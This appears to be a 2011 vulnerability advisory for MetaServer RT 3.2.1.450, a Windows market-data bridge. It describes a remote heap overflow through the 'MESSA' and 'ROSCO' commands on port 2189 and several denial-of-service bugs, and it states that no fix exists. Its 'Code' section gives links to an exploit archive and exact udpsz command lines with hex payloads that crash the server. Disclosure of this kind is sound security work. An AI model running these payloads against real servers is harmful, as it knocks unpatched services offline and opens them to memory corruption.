MetaServer RT 3.2.1.450 – Multiple Vulnerabilities
####################################################################### Luigi Auriemma Application: MetaServer RT http://www.traderssoft.com/ts/msrt/ Versions: <= 3.2.1.450 Platforms: Windows Bugs: A] heap overflow B] various Denials of Service Exploitation: remote Date: 19 Sep 2011 Author: Luigi Auriemma e-mail: aluigi@autistici.org web: aluigi.org ####################################################################### 1) Introduction 2) Bugs 3) The Code 4) Fix ####################################################################### =============== 1) Introduction =============== From vendor's website: "MetaServer RT allows to use MetaStock 6.52/7.x/8.x/9.x/10.x/11.x (eSignal version) and TradeStartion2000i/ProSuite2000i with datafeeds that are not supported originally." ####################################################################### ======= 2) Bugs ======= The program listens on ports 2189, 2192 and 2194. ---------------- A] heap overflow ---------------- Through an interrupted connection with multiple packets on port 2189 and a subsequent reconnection it's possible to cause a heap overflow and the relative write4. Both the "MESSA" and "ROSCO" commands can be used. ----------------------------- B] various Denials of Service ----------------------------- Various invalid memory accesses and freezing of the program. ####################################################################### =========== 3) The Code =========== http://aluigi.org/testz/udpsz.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17879.zip A] udpsz -C "cdab0000 00000000 ffff0000 00000000 ffffffff 524f53434f" -l 0 -T -1 SERVER 2189 0xffff stop after at least 50 dots and relaunch the command again till the crashing of the server during a memcpy. B] udpsz -b 0x80 -T SERVER 2194 1000 udpsz -C "cdab0000 00000000 00ffffff 00000000 00000000 524f53434f" -T SERVER 2189 -1 ...others... ####################################################################### ====== 4) Fix ====== No fix. ####################################################################### |